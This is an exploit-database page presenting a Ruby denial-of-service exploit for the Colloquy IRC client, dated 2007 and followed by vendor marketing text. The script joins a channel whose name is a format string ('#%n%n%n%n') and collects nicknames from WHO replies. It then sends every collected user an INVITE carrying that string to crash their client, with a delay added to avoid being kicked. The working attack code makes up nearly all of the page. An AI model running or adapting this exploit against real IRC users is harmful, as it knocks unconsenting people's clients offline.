Lucene search
K

Colloquy <= 2.1.3545 (INVITE) Format String Denial of Service Exploit

🗓️ 18 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Denial of Service Exploit in Colloquy <= 2.1.3545 (INVITE) Format Strin

Code

                                                #!/usr/bin/ruby
#&nbsp;(c)&nbsp;Copyright&nbsp;2006&nbsp;Lance&nbsp;M.&nbsp;Havok&nbsp;&lt;[email protected]&gt;
#
#&nbsp;Makes&nbsp;use&nbsp;of&nbsp;the&nbsp;Colloquy&nbsp;INVITE&nbsp;format&nbsp;string&nbsp;vulnerability.
#

require&nbsp;'socket'

target_channel&nbsp;&nbsp;=&nbsp;(ARGV[0]&nbsp;||&nbsp;&quot;#whatever&quot;)
target_server&nbsp;&nbsp;&nbsp;=&nbsp;(ARGV[1]&nbsp;||&nbsp;&quot;irc.server.org&quot;)
target_port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;(ARGV[2]&nbsp;||&nbsp;6667)

rand_nick&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;spongebo&quot;
channel_joined&nbsp;&nbsp;=&nbsp;false
ready_to_go&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;false
abuse_attempts&nbsp;&nbsp;=&nbsp;2
chan_fmtstring&nbsp;&nbsp;=&nbsp;(&quot;#%n%n%n%n&quot;)&nbsp;#&nbsp;develop&nbsp;payload&nbsp;when&nbsp;feeling&nbsp;like&nbsp;it.
target_furries&nbsp;=&nbsp;[]

irc_socket&nbsp;=&nbsp;TCPSocket.new(target_server,&nbsp;target_port.to_i)

irc_socket.print&nbsp;&quot;USER&nbsp;#{rand_nick}&nbsp;localhost&nbsp;localhost&nbsp;r\n&quot;
irc_socket.print&nbsp;&quot;NICK&nbsp;#{rand_nick}\r\n&quot;
while&nbsp;true
&nbsp;&nbsp;s&nbsp;=&nbsp;irc_socket.gets
&nbsp;&nbsp;case&nbsp;s.strip
&nbsp;&nbsp;&nbsp;&nbsp;when&nbsp;/^PING&nbsp;:(.+)$/i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;puts&nbsp;&quot;++&nbsp;PING...&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;PONG&nbsp;:#{$1}\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;puts&nbsp;&quot;++&nbsp;PONG.&quot;
&nbsp;&nbsp;&nbsp;&nbsp;when&nbsp;/^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]PING&nbsp;(.+)[\001]$/i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;puts&nbsp;&quot;++&nbsp;CTCP&nbsp;PING&nbsp;from&nbsp;#{$1}!#{$2}@#{$3}&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;NOTICE&nbsp;#{$1}&nbsp;:\001PING&nbsp;#{$4}\001\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;when&nbsp;/^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]VERSION[\001]$/i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;puts&nbsp;&quot;++&nbsp;CTCP&nbsp;VERSION&nbsp;from&nbsp;#{$1}!#{$2}@#{$3}&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;NOTICE&nbsp;#{$1}&nbsp;:\001VERSION&nbsp;Unabomber&nbsp;v0.011\001\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;when&nbsp;/n=(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.*)$/i
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nickarr&nbsp;=&nbsp;s.scan(/n=(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.+)&nbsp;(.*)/).flatten

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;nickarr.size&nbsp;&gt;&nbsp;3
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;nickarr[2].size&nbsp;&gt;&nbsp;2&nbsp;and&nbsp;nickarr[2]&nbsp;!=&nbsp;target_server
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nickarr&nbsp;=&nbsp;nickarr[2]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elsif&nbsp;nickarr[1].size&nbsp;&gt;&nbsp;2&nbsp;and&nbsp;nickarr[1]&nbsp;!=&nbsp;target_server
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nickarr&nbsp;=&nbsp;nickarr[1]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elsif&nbsp;nickarr[3].size&nbsp;&gt;&nbsp;2&nbsp;and&nbsp;nickarr[3]&nbsp;!=&nbsp;target_server
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nickarr&nbsp;=&nbsp;nickarr[3]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target_furries&nbsp;&lt;&lt;&nbsp;nickarr
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unless&nbsp;channel_joined
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#irc_socket.send&nbsp;&quot;JOIN&nbsp;#{target_channel}\n&quot;,&nbsp;0&nbsp;(uncomment&nbsp;to&nbsp;join&nbsp;channel)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;JOIN&nbsp;#{chan_fmtstring}\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;channel_joined&nbsp;=&nbsp;true
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;channel_joined&nbsp;and&nbsp;abuse_attempts&nbsp;!=&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;WHO&nbsp;#{target_channel}\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse_attempts&nbsp;-=&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;we&nbsp;need&nbsp;to&nbsp;throttle&nbsp;the&nbsp;pwnage&nbsp;or&nbsp;server&nbsp;will&nbsp;kick&nbsp;our&nbsp;ass
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;target_furries.size&nbsp;&gt;&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target_furries.each&nbsp;do&nbsp;|zealot|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;puts&nbsp;&quot;++&nbsp;Pwning&nbsp;#{zealot}&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irc_socket.send&nbsp;&quot;INVITE&nbsp;#{zealot}&nbsp;#{chan_fmtstring}\n&quot;,&nbsp;0
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sleep&nbsp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end
&nbsp;&nbsp;end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1
16